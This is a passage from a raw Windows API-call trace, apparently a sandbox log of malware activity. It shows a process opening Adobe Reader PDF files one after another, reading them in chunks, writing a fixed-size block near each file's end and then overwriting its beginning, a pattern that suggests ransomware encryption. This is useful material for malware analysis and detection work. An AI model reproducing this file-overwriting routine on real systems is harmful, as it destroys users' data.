lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.495] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x14096 [0034.495] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.496] ReleaseMutex (hMutex=0x128) returned 1 [0034.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.496] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.503] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x13096 [0034.503] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.528] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x13096 [0034.528] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.528] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.528] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.529] CloseHandle (hObject=0x1a0) returned 1 [0034.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.530] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.530] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x10913 [0034.530] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.530] ReleaseMutex (hMutex=0x128) returned 1 [0034.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.531] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.537] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf913 [0034.537] ReadFile (in: hFile=0x1a0, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.538] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf913 [0034.538] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.538] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.538] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.538] CloseHandle (hObject=0x1a0) returned 1 [0034.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.539] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.540] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x26ca2 [0034.540] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.540] ReleaseMutex (hMutex=0x128) returned 1 [0034.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.540] ReadFile (in: hFile=0x1a0, lpBuffer=0x27f1bf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f1bf8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.544] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x25ca2 [0034.544] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.545] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x25ca2 [0034.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.546] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.546] CloseHandle (hObject=0x1a0) returned 1 [0034.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.554] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.555] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6133 [0034.555] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.555] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.555] ReleaseMutex (hMutex=0x128) returned 1 [0034.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.555] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.557] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5133 [0034.557] ReadFile (in: hFile=0x1a0, lpBuffer=0x280ecb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280ecb8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.557] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5133 [0034.558] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.558] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.558] WriteFile (in: hFile=0x1a0, lpBuffer=0x280ecb8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280ecb8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.558] CloseHandle (hObject=0x1a0) returned 1 [0034.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.566] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.566] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x724ee [0034.566] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.566] ReleaseMutex (hMutex=0x128) returned 1 [0034.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDFSigQFormalRep.pdf", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDFSigQFormalRep.pdf", lpUsedDefaultChar=0x0) returned 20 [0034.567] ReadFile (in: hFile=0x1a0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.579] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x714ee [0034.579] ReadFile (in: hFile=0x1a0, lpBuffer=0x276e358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.583] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x714ee [0034.583] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.583] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.583] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.584] CloseHandle (hObject=0x1a0) returned 1 [0034.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.595] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.595] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x217ce [0034.595] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.595] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.595] ReleaseMutex (hMutex=0x128) returned 1 [0034.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0034.595] ReadFile (in: hFile=0x1a0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.599] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x207ce [0034.599] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.602] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x207ce [0034.602] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.602] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.602] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.602] CloseHandle (hObject=0x1a0) returned 1 [0034.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.604] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.604] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x15c7a [0034.604] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.604] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.604] ReleaseMutex (hMutex=0x128) returned 1 [0034.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0034.605] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.086] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14c7a [0035.086] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.309] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14c7a [0035.309] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.371] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.372] WriteFile (in: hFile=0x1a0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.373] CloseHandle (hObject=0x1a0) returned 1 [0035.387] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.390] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.390] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xcdd8 [0035.390] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.390] ReleaseMutex (hMutex=0x128) returned 1 [0035.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.390] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.394] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xbdd8 [0035.394] ReadFile (in: hFile=0x184, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.394] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xbdd8 [0035.394] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.395] 